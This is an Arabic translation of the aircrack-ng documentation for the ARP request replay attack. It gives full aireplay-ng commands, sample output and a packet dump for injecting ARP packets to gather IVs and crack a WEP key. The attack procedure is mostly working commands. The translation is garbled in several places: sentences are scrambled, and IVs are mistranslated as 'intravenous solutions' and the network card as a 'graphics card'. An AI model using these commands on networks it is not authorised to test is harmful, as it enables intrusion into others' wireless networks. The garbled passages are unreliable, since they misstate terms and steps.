



هجوم إعادة تشغيل طلب ARP

وصف

يُعدّ هجوم إعادة إرسال طلب ARP الكلاسيكي الطريقة الأكثر فعالية لتوليد متجهات تهينة جديدة (IVs)، وهو يعمل بكفاءة عالية. يستمع البرنامج إلى حزمة ARP ثم يُعيد إرسالها إلى نقطة الوصول. وهذا بدوره يدفع نقطة الوصول إلى تكرار حزمة ARP بمتجه تهينة جديد. يُعيد البرنامج إرسال حزمة ARP نفسها مرارًا وتكرارًا. مع ذلك، تحتوي كل حزمة ARP تُعيد نقطة الوصول إرسالها على متجهات تهينة جديدة. تُتيح لك هذه المتجهات الجديدة تحديد مفتاح WEP.

ما هو ARP؟

بروتوكول ARP هو بروتوكول تحليل العناوين: وهو بروتوكول TCP/IP يُستخدم لتحويل عنوان IP إلى عنوان فعلي، مثل عنوان إيثرنت. يقوم جهاز مضيف برغب في الحصول على عنوان فعلي يثبت طلب ARP على شبكة TCP/IP. ثم يرد الجهاز المضيف الموجود على الشبكة والذي يملك العنوان المطلوب بعنوانه الفعلي.

يُعدّ بروتوكول ARP أساسًا للعديد من الهجمات في حزمة aircrack-ng. ستيح لك هذه الروابط معرفة المزيد عن بروتوكول ARP:

- http://www.pcmag.com/encyclopedia_term/0,2542,t=ARP&i=37988,00.asp مجلة الكمبيوتر الشخصي: تعريف ARP
- http://en.wikipedia.org/wiki/Address_resolution_protocol ويكيبيديا: بروتوكول تحليل العناوين
- [http://technet.microsoft.com/en-us/library/cc758357\(WS.10\).aspx](http://technet.microsoft.com/en-us/library/cc758357(WS.10).aspx) مايكروسوفت تكنيت: بروتوكول تحليل العناوين (ARP)
- <http://tools.ietf.org/html/rfc826> RFC 826

الاستخدام

الاستخدام الأساسي:

```
aireplay-ng -3 -b 00:13:10:30:24:9C -h 00:11:22:33:44:55 ath0
```

أين:

- 3- تعني إعادة تشغيل طلب ARP القياسي
- -b 00:13:10:30:24:9C عنوان MAC هو نقطة الوصول
- -h 00:11:22:33:44:55 عنوان MAC هو مصدر (إما عميل مرتبط أو من مصادقة مزيفة)
- ath0 هو اسم واجهة الشبكة اللاسلكية

هناك طريقتان لإعادة تشغيل بروتوكول ARP الذي تم حقنه مسبقًا. الطريقة الأولى والأبسط هي استخدام نفس الأمر بالإضافة إلى الخيار "r" لقراءة ملف الإخراج من آخر عملية إعادة تشغيل ناجحة لبروتوكول ARP.

```
aireplay-ng -3 -b 00:13:10:30:24:9C -h 00:11:22:33:44:55 -r replay_arp-0219-115508.cap ath0
```

أين:

- 3- تعني إعادة تشغيل طلب ARP القياسي
- -b 00:13:10:30:24:9C عنوان MAC هو نقطة الوصول
- -h 00:11:22:33:44:55 عنوان MAC هو مصدر (إما عميل مرتبط أو من مصادقة مزيفة)
- -r replay_arp-0219-115508.cap هو اسم الملف الناتج عن آخر عملية إعادة تشغيل ناجحة لبروتوكول ARP.
- ath0 هو اسم واجهة الشبكة اللاسلكية

. وقد تم عرضها هنا لأنها مكتملة لهجوم إعادة إرسال طلبات هجوم إعادة إرسال الحزم التفاعلي الطريقة الثانية هي حالة خاصة من بروتوكول ARP.

```
aireplay-ng -2 -r replay_arp-0219-115508.cap ath0
```

أين:

- 2- تعني اختيار الإطار التفاعلي
- -r replay_arp-0219-115508.cap هو اسم الملف الناتج عن آخر عملية إعادة تشغيل ناجحة لبروتوكول ARP.

هو اسم واجهة بطاقة الشبكة اللاسلكية ath0

مثال على الاستخدام

لوضع بطاقة الرسومات في وضع المراقبة أولاً. لا يمكنك إدخال حزم البيانات إلا إذا أداة `airmon-ng` في جميع هذه الأمثلة، استخدم كانت البطاقة في وضع المراقبة.

. أسهل طريقة هي الهجوم الأول لهذا الهجوم، تحتاج إما إلى عنوان MAC الخاص بجهاز عميل مرتبط، أو عنوان MAC مزيف من والسبب في استخدام عنوان أداة `airodump-ng` استخدام عنوان MAC الخاص بجهاز عميل مرتبط، والذي يمكن الحصول عليه عبر MAC مرتبط هو أن نقطة الوصول لن تقبل إلا الحزم التي يكون عنوان MAC المرسل مرتبطاً بها، ولن تعيد إرسالها.

قد تضطر إلى الانتظار لبضع دقائق، أو حتى لفترة أطول، حتى يظهر طلب ARP. سيفشل هذا الهجوم إذا لم يكن هناك أي حركة مرور.

أدخل هذا الأمر:

```
aireplay-ng -3 -b 00:14:6c:7e:40:80 -h 00:0F:B5:88:AC:82 ath0
```

يستجيب النظام:

حفظ طلبات ARP في replay_arp-0219-123051.cap يجب عليك أيضاً تشغيل أداة `airodump-ng` لالتقاط الردود. تمت قراءة 11978 حزمة (تم استلام 7193 طلب ARP)، وتم إرسال 3902 حزمة...

في البداية، سيبدو السطر الأخير مشابهاً لما يلي:

تمت قراءة 39 حزمة (تم استلام 0 طلب ARP)، وتم إرسال 0 حزمة...

أداة ثم أثناء الهجوم، تُظهر الأصفار العدد الفعلي للبيانات كما في المثال الكامل أعلاه. يمكنك أيضاً التأكد من ذلك بتشغيل لالتقاط متجهات التهيئة (IVs) المُولدة. من المفترض أن يُظهر ذلك ازدياداً سريعاً في عدد البيانات لنقطة الوصول `airodump-ng` المحددة.

المثال الثاني الذي سنستعرضه هو إعادة استخدام بروتوكول ARP المُلتقط من المثال السابق. ستلاحظ أنه ذكر أن طلبات ARP تُحفظ في الملف "replay_arp-0219-123051.cap". لذا، بدلاً من انتظار طلب ARP جديد، نعيد استخدام الطلبات القديمة باستخدام المعامل "r-".

```
aireplay-ng -2 -r replay_arp-0219-123051.cap ath0
```

يستجيب النظام:

الحجم: 86، من 0 DS، إلى (WEP) 1 DS:

BSSID = 00:14:6C:7E:40:80
عنوان MAC الوجهة = FF:FF:FF:FF:FF:FF
عنوان MAC المصدر = 00:0F:B5:88:AC:82

```
0x0000: 0841 0000 0014 6c7e 4080 000f b588 ac82 .A....l~@.....  
0x0010: ffff ffff ffff 7092 e627 0000 7238 937c .....p...'..r8.|  
0x0020: 8011 36c6 2b2c a79b 08f8 0c7e f436 14f7 ..6.+.....~.6..  
0x0030: 8078 a08e 207c 17c6 43e3 fe8f 1a46 4981 .x.. |..C....FI.
```

```
0x0040: 947c 1930 742a c85f 2699 dabe 1368 df39 .|.0t*._&....h.9
0x0050: ca97 0d9e 4731 ....G1
```

هل تستخدم هذه الحزمة؟ نعم

تقول "نعم" ثم سيبدأ نظامك في الحقن:

حفظ الحزمة المختارة في replay_src-0219-123117.cap
يجب عليك أيضًا تشغيل أداة airodump-ng لالتقاط الردود.

تم إرسال 3181 حزمة...

كما يمكنك استخدام ما هو مذكور في قسم الاستخدام أعلاه:

```
aireplay-ng -3 -b 00:13:10:30:24:9C -h 00:11:22:33:44:55 -r replay_arp-0219-115508.cap ath0
```

لالتقاط قيم IV التي يتم إنشاؤها. من المفترض أداة airodump-ng في هذه المرحلة، إذا لم تكن قد فعلت ذلك بالفعل، فابدأ تشغيل
أن يزداد عدد البيانات بسرعة.

نصائح الاستخدام

عند إجراء الاختبار في المنزل، لإنشاء حزمة ARP لبدء حقن ARP، ما عليك سوى إرسال طلب ping إلى عنوان IP غير موجود على
شبكة.

استكشاف أخطاء الاستخدام وإصلاحها

أقوم بالحقن لكن محاليل الوريد لا تزداد!

الشرح: أقوم بالحقن ولكن عدد المحاليل الوريدية لا يرتفع! انظر إلى

أحصل على رسالة "تمت قراءة XXXXX حزمة (تم استلام 0 طلبات ARP)، تم إرسال 0 حزمة ... (0 حزمة في
الثانية)" - لماذا لا يتم إرسال أي حزم؟

تُثبت عبر الشبكة، لا يوجد ما يُعاد تشغيله. إذا [http://en.wikipedia.org/wiki/Address_resolution_protocol] ARP ببساطة، لعدم وجود حزم
على أي من الحزم المطلوبة، فلن يتمكن من إعادة تشغيل أي شيء. تذكر أن "إعادة التشغيل" تعني برنامج aireplay-ng لم يعثر
ضمنًا وجود بعض الحزم التي تُثبت بالفعل، والتي أرسلها عميل/نقطة وصول شرعية.

هجوم بديل

على الرغم من أنها ليست نصيحة مباشرة لحل مشكلة هجوم إعادة حقن طلب ARP، إذا لم تتمكن من إنجاح الهجوم أو لم تكن
هناك حزم طلب ARP قادمة من نقطة الوصول، فهناك هجوم بديل يجب عليك مراعاته:

- تسمح لك هذه التقنية بإعادة إدخال أي حزمة بيانات يتم استلامها من نقطة الوصول وإنشاء متجهات تهينة. طريقة -p 0841

عام

. استكشاف أخطاء استخدام aireplay-ng وإصلاحها راجع أيضًا الأفكار العامة لاستكشاف أخطاء aireplay-ng: